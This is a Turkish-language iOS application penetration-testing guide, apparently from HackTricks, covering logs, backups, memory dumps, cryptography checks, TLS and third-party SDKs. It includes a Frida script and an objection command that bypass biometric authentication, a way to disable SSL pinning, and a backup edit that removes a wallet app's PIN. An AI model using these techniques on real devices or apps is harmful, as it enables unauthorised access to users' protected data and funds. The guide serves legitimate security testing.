Hata ayıklama genellikle loglama kullanmayı içerir. Risk vardır çünkü loglar hassas bilgiler içerebilir. Eskiden, iOS 6 ve önceki sürümlerde, loglara tüm uygulamalar erişebiliyordu; bu da hassas veri sızıntısı riski oluşturuyordu. Şimdi uygulamalar sadece kendi loglarına erişmekle sınırlandırılmıştır.

Bu kısıtlamalara rağmen, kilidi açık bir cihaza fiziksel erişimi olan bir saldırgan cihazı bir bilgisayara bağlayarak bunu sömürebilir ve logları okuyabilir. Ayrıca, uygulama kaldırıldıktan sonra bile logların diskte kaldığını unutmamak önemlidir.

Riskleri azaltmak için, uygulama ile kapsamlı etkileşimde bulunmak, tüm işlevleri ve girdileri test etmek ve hassas bilgilerin kazayla loglanmadığından emin olmak önerilir.

Uygulamanın kaynak kodunu potansiyel sızıntılar açısından incelerken, yerleşik fonksiyonlar için NSLog, NSAssert, NSCAssert, fprintf gibi anahtar kelimeler ve özel uygulamalar için Logging veya Logfile gibi ifadeler kullanılarak yapılmış hem ön tanımlı hem de özel loglama ifadelerini arayın.

Sistem Loglarını İzleme

Uygulamalar hassas olabilecek çeşitli bilgileri loglar. Bu logları izlemek için şu araçlar ve komutlar kullanılabilir:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

yararlıdır. Ayrıca, Xcode konsol loglarını toplamak için bir yol sağlar:

  1. Xcode’u açın.
  2. iOS cihazını bağlayın.
  3. Navigate to Window -> Devices and Simulators.
  4. Cihazınızı seçin.
  5. İncelediğiniz sorunu tetikleyin.
  6. Logları yeni bir pencerede görüntülemek için Open Console düğmesini kullanın.

Daha gelişmiş loglama için, cihazın shell’ine bağlanmak ve socat kullanmak gerçek zamanlı log izleme sağlayabilir:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

Takip eden komutlarla log aktivitelerini gözlemlemek mümkündür; bu, sorunları teşhis etmek veya loglarda potansiyel data leakage’i belirlemek için paha biçilmez olabilir.

Yedekler

Otomatik yedekleme özellikleri iOS’a entegre edilmiştir ve cihaz veri kopyalarının iTunes (macOS Catalina’ya kadar), Finder (macOS Catalina’dan itibaren) veya iCloud üzerinden oluşturulmasını kolaylaştırır. Bu yedekler, Apple Pay ayrıntıları ve Touch ID yapılandırmaları gibi yüksek hassasiyetteki öğeler hariç, hemen hemen tüm cihaz verilerini kapsar.

Güvenlik Riskleri

Yedeklere kurulu uygulamalar ve verileri dahil edilmesi, potansiyel data leakage ve yedek değişikliklerinin uygulama işlevselliğini değiştirebilmesi riskini gündeme getirir. Bu riskleri azaltmak için herhangi bir uygulamanın dizininde veya alt dizinlerinde hassas bilgileri düz metin olarak saklamamak önerilir.

Yedeklerden Dosya Hariç Tutma

Documents/ ve Library/Application Support/ içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, NSURL setResourceValue:forKey:error: ile NSURLIsExcludedFromBackupKey kullanarak belirli dosya veya dizinleri yedeklerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklere dahil edilmesinden korunması için önemlidir.

Zafiyetleri Test Etme

Bir uygulamanın yedek güvenliğini değerlendirmek için Finder kullanarak yedek oluşturmak ile başlayın, ardından yedeği bulmak için Apple’ın resmi belgelerindeki yönergeleri izleyin. Uygulama davranışını etkileyebilecek şekilde değiştirilebilecek hassas veriler veya yapılandırmalar için yedeği analiz edin.

Hassas bilgiler, komut satırı araçları veya iMazing gibi uygulamalar kullanılarak aranabilir. Şifreli yedekler için, şifrelemenin varlığı yedeğin kökündeki “Manifest.plist” dosyasındaki “IsEncrypted” anahtarının kontrol edilmesiyle doğrulanabilir.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

Şifrelenmiş yedeklerle uğraşırken, DinoSec’s GitHub repo içinde bulunan Python scriptleri, örneğin backup_tool.py ve backup_passwd.py, faydalı olabilir; ancak en son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerekebilir. Parola korumalı yedeklerdeki dosyalara erişmek için bir diğer seçenek iOSbackup tool olarak kullanılabilir.

Uygulama Davranışını Değiştirme

Yedek değişiklikleriyle uygulama davranışının değiştirilmesine bir örnek, Bither bitcoin wallet app içinde gösterilmiştir; burada UI lock PIN’i net.bither.plist içinde pin_code anahtarı altında saklanır. Bu anahtarı plist’ten kaldırıp yedeği geri yüklemek, PIN gereksinimini ortadan kaldırır ve sınırsız erişim sağlar.

Hassas Veriler İçin Bellek Testleri Özeti

Bir uygulamanın belleğinde saklanan hassas verilerle uğraşırken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini incelemek için iki temel yaklaşım vardır: bir bellek dökümü oluşturma ve belleği gerçek zamanlı analiz etme. Her iki yöntemin de, döküm sürecinde veya analiz sırasında kritik verileri kaçırma olasılığı dahil olmak üzere zorlukları vardır.

Bellek Dökümünü Alma ve Analiz Etme

Hem jailbroken hem de non-jailbroken cihazlar için, objection ve Fridump gibi araçlar bir uygulamanın işlem belleğinin dökümünü almaya izin verir. Döküm alındıktan sonra, bu verilerin analiz edilmesi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.

Bellek dökümünden string çıkarmak için strings veya rabin2 -zz gibi komutlar kullanılabilir:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

Daha ayrıntılı analizler için, belirli veri türleri veya desenler aramak da dahil olmak üzere, radare2 kapsamlı arama yetenekleri sunar:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

Çalışma Zamanı Bellek Analizi

r2frida gerçek zamanlı olarak bir uygulamanın belleğini incelemek için bir memory dump gerektirmeden güçlü bir alternatif sunar. Bu araç, çalışan uygulamanın belleği üzerinde doğrudan arama komutları çalıştırılmasına olanak verir:

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

Broken Cryptography

Poor Key Management Processes

Bazı geliştiriciler hassas verileri local storage’da saklar ve kod içinde hardcoded/predictable bir key ile encrypt eder. Bu yapılmamalıdır; çünkü bazı reversing işlemleri attackers’ın confidential information’ı çıkarmasına izin verebilir.

Use of Insecure and/or Deprecated Algorithms

Geliştiriciler authorisation checks yapmak, veriyi store veya send etmek için deprecated algorithms kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1… Örneğin parolaları saklamak için hashes kullanılıyorsa, salt ile birlikte brute-force’a resistant olan hashes kullanılmalıdır.

Check

Asıl yapılacak kontroller, kod içinde hardcoded password/secret bulunup bulunmadığını, bunların predictable olup olmadığını ve kodun bir tür weak cryptography algoritması kullanıp kullanmadığını tespit etmektir.

It’s interesting to know that you can monitor some crypto libraries automatically using objection with:

ios monitor crypt

iOS kriptografik API’leri ve kütüphaneleri hakkında daha fazla bilgi için bakınız: https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

Local Authentication

Local authentication özellikle kriptografik yöntemlerle bir uzak uçtaki erişimi koruma söz konusu olduğunda kritik bir rol oynar. Özü şu ki, doğru uygulanmadığında local authentication mekanizmaları atlatılabilir.

Apple’ın Local Authentication framework ve keychain geliştiricilere kullanıcı doğrulama diyalogları sunmak ve gizli verileri güvenli şekilde tutmak için sağlam API’ler sağlar. Secure Enclave Touch ID için parmak izi kimliğini korur; Face ID ise biyometrik veriyi açığa çıkarmadan yüz tanımaya dayanır.

Touch ID/Face ID’yi entegre etmek için geliştiricilerin iki API seçeneği vardır:

  • LocalAuthentication.framework — biyometrik verilere erişim olmadan üst seviye kullanıcı doğrulaması için.
  • Security.framework — keychain servislerine daha düşük seviyeden erişim için; gizli verileri biyometrik doğrulama ile korur. Çeşitli open-source wrappers keychain erişimini daha basit hale getirir.

Caution

Ancak, hem LocalAuthentication.framework hem de Security.framework zayıflıklar barındırır; çünkü öncelikle kimlik doğrulama süreçleri için veri iletmeden boolean değerleri döndürürler, bu da atlatılmaya açık olmalarına yol açar (bkz. Don’t touch me that way, by David Lindner et al).

Local Authentication’ı Uygulama

Kullanıcıları doğrulama için istemek amacıyla geliştiriciler LAContext sınıfındaki evaluatePolicy metodunu kullanmalı ve şu seçeneklerden birini seçmelidir:

  • deviceOwnerAuthentication: Touch ID veya cihaz şifresini ister; her ikisi de etkin değilse başarısız olur.
  • deviceOwnerAuthenticationWithBiometrics: Yalnızca Touch ID’yi ister.

Başarılı bir doğrulama, evaluatePolicy’den dönen bir boolean değeriyle belirtilir; bu potansiyel bir güvenlik açığını işaret eder.

Keychain Kullanılarak Local Authentication

iOS uygulamalarında local authentication’ın uygulanması, kimlik doğrulama token’ları gibi gizli verileri güvenli şekilde saklamak için keychain APIs kullanımını gerektirir. Bu süreç, verinin yalnızca cihaz şifresi veya Touch ID gibi biyometrik doğrulama kullanan kullanıcı tarafından erişilebilir olmasını sağlar.

Keychain, öğeleri SecAccessControl özniteliği ile ayarlama yeteneği sunar; bu, kullanıcı Touch ID veya cihaz şifresi ile başarıyla doğrulanana kadar öğeye erişimi kısıtlar. Bu özellik güvenliği artırmak için kritiktir.

Aşağıda Swift ve Objective-C örnekleri, bu güvenlik özelliklerini kullanarak bir string’i keychain’e kaydetme ve geri alma işlemlerini göstermektedir. Örnekler özellikle Touch ID doğrulaması gerektirecek şekilde erişim kontrolünün nasıl ayarlanacağını ve verinin yalnızca kurulduğu cihazda, cihaz şifresi yapılandırılmışsa erişilebilir olmasını nasıl sağlayacağını gösterir.

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

Şimdi keychain’den kaydedilmiş öğeyi isteyebiliriz. Keychain servisleri kullanıcıya kimlik doğrulama diyaloğunu gösterecek ve uygun bir fingerprint sağlanıp sağlanmadığına bağlı olarak data veya nil döndürecektir.

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

Tespit

Uygulamadaki framework kullanımını, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek de tespit edebilirsiniz. Bu, otool kullanılarak yapılabilir:

$ otool -L <AppName>.app/<AppName>

Eğer bir uygulamada LocalAuthentication.framework kullanılıyorsa, çıktı aşağıdaki iki satırı içerecektir (unutmayın ki LocalAuthentication.framework arka planda Security.framework kullanır):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

Eğer Security.framework kullanılıyorsa, yalnızca ikincisi gösterilecektir.

Local Authentication Framework Bypass

Objection

Bu Objection Biometrics Bypass, this GitHub page adresinde bulunur ve LocalAuthentication mekanizmasını aşmak için bir teknik sağlar. Bu yaklaşımın özü, evaluatePolicy fonksiyonunu manipüle etmek için Frida’yı kullanmak; böylece gerçek kimlik doğrulama başarılı olsa da olmasa da fonksiyonun sürekli True döndürmesini sağlamaktır. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlatmak için özellikle faydalıdır.

Bu bypass’ı etkinleştirmek için aşağıdaki komut kullanılır:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

Bu komut, Objection’ın evaluatePolicy kontrolünün sonucunu etkin bir şekilde True olarak değiştiren bir görev kaydettiği bir diziyi başlatır.

Frida

DVIA-v2 application içindeki evaluatePolicy kullanımına bir örnek:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Local Authentication’ın bypass’ını gerçekleştirmek için bir Frida script yazılır. Bu script, evaluatePolicy kontrolünü hedefler, callback’ini yakalayarak success=1 döndüğünden emin olur. Callback’in davranışını değiştirerek kimlik doğrulama kontrolü fiilen bypass edilir.

Aşağıdaki script, evaluatePolicy metodunun sonucunu değiştirmek için enjekte edilir. Callback sonucunu her zaman başarılı olarak gösterecek şekilde değiştirir.

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Frida script’i enjekte etmek ve biometric authentication’ı atlatmak için aşağıdaki komut kullanılır:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

IPC Yoluyla Hassas Fonksiyonların Açığa Çıkması

iOS Custom URI Handlers / Deeplinks / Custom Schemes

iOS Universal Links

UIActivity Sharing

iOS UIActivity Sharing

UIPasteboard

iOS UIPasteboard

App Extensions

iOS App Extensions

WebViews

iOS WebViews

Serialisation and Encoding

iOS Serialisation and Encoding

Ağ İletişimi

İletişimin şifreleme olmadan gerçekleşmediğini ve uygulamanın sunucunun TLS sertifikasını doğru şekilde doğruladığını kontrol etmek önemlidir.
Bu tür sorunları kontrol etmek için Burp gibi bir proxy kullanabilirsiniz:

iOS Burp Suite Configuration

Hostname kontrolü

TLS sertifikasını doğrulamada yaygın bir sorun, sertifikanın güvenilir bir CA tarafından imzalanıp imzalanmadığını kontrol etmek ama sertifikanın hostname’inin erişilen hostname olup olmadığını kontrol etmemektir.
Bu sorunu Burp kullanarak kontrol etmek için, iPhone üzerinde Burp CA’yı trust ettikten sonra Burp ile farklı bir hostname için yeni bir sertifika oluşturabilir ve bunu kullanabilirsiniz. Eğer uygulama hâlâ çalışıyorsa, uygulama muhtemelen bu açıdan zayıftır.

Certificate Pinning

Eğer bir uygulama doğru şekilde SSL Pinning kullanıyorsa, uygulama yalnızca beklenen sertifika ile çalışır. Uygulamayı test ederken bu bir sorun olabilir çünkü Burp kendi sertifikasını sunar.
Jailbroken bir cihaz içinde bu korumayı aşmak için uygulamayı SSL Kill Switch yükleyebilir veya Burp Mobile Assistant yükleyebilirsiniz.

Ayrıca objection’ın ios sslpinning disable komutunu da kullanabilirsiniz.

Çeşitli

  • /System/Library içinde sistem uygulamaları tarafından kullanılan telefonun kurulu framework’lerini bulabilirsiniz
  • Kullanıcı tarafından App Store’dan yüklenen uygulamalar /User/Applications içinde yer alır
  • Ve /User/Library kullanıcı düzeyindeki uygulamalar tarafından kaydedilen verileri içerir
  • Uygulama içinde kaydedilen notları okumak için /User/Library/Notes/notes.sqlite dosyasına erişebilirsiniz.
  • Yüklü bir uygulamanın klasörünün içinde (/User/Applications/<APP ID>/) bazı ilginç dosyalar bulabilirsiniz:
  • iTunesArtwork: Uygulamanın kullandığı ikon
  • iTunesMetadata.plist: App Store’da kullanılan uygulama bilgisi
  • /Library/*: Tercihler ve cache’i içerir. /Library/Cache/Snapshots/* içinde uygulama arka plana gönderilmeden önce alınmış snapshot’ı bulabilirsiniz.

Hot Patching/Enforced Updateing

Geliştiriciler, uygulamalarının tüm kurulumlarını App Store’a yeniden göndermeye ve onay beklemeye gerek kalmadan uzaktan anında patch’leyebilirler.
Bu amaçla genellikle JSPatch kullanılır. Ancak Siren ve react-native-appstore-version-checker gibi başka seçenekler de vardır.
Bu, kötü niyetli üçüncü taraf SDK’lar tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır; bu nedenle hangi yöntemin otomatik güncelleme için kullanıldığını (varsa) kontrol etmek ve test etmek önerilir. Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz.

Third Parties

3rd party SDKs ile ilgili önemli bir zorluk, fonksiyonları üzerinde ince kontrollere sahip olmamaktır. Geliştiriciler ya SDK’yı entegre edip tüm özelliklerini, potansiyel güvenlik açıkları ve gizlilik endişeleriyle birlikte kabul etmek zorunda kalır ya da faydalarından tamamen vazgeçerler. Çoğu zaman geliştiriciler bu SDK’ların içindeki güvenlik açıklarını kendileri yamayamazlar. Dahası, SDK’lar topluluk içinde güven kazandıkça bazıları kötü amaçlı yazılımlar içerebilir.

Üçüncü taraf SDK’ların sağladığı servisler kullanıcı davranışı takibi, reklam gösterimi veya kullanıcı deneyimi geliştirmeleri içerebilir. Ancak bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodu tam olarak bilmeme riski doğurur ve potansiyel gizlilik ve güvenlik risklerine yol açar. Üçüncü taraf servislerle paylaşılan bilgilerin yalnızca gerekli olanla sınırlandırılması ve hiçbir hassas verinin açığa çıkmadığından emin olunması çok önemlidir.

Üçüncü taraf servislerin entegrasyonu genellikle ya bağımsız bir kütüphane ya da tam bir SDK şeklinde olur. Kullanıcı gizliliğini korumak için, bu servislerle paylaşılan herhangi bir veri anonimleştirilmeli ve Kişisel Tanımlanabilir Bilgi’nin (PII) ifşası engellenmelidir.

Bir uygulamanın hangi kütüphaneleri kullandığını belirlemek için otool komutu kullanılabilir. Bu araç, ek kütüphaneleri keşfetmek için uygulama ve uygulamanın kullandığı her shared library üzerinde çalıştırılmalıdır.

otool -L <application_path>

İlginç Zafiyetler & Vaka Çalışmaları

Air Keyboard Remote Input Injection

Itunesstored Bookassetd Sandbox Escape

Zero Click Messaging Image Parser Chains

Referanslar & Diğer Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin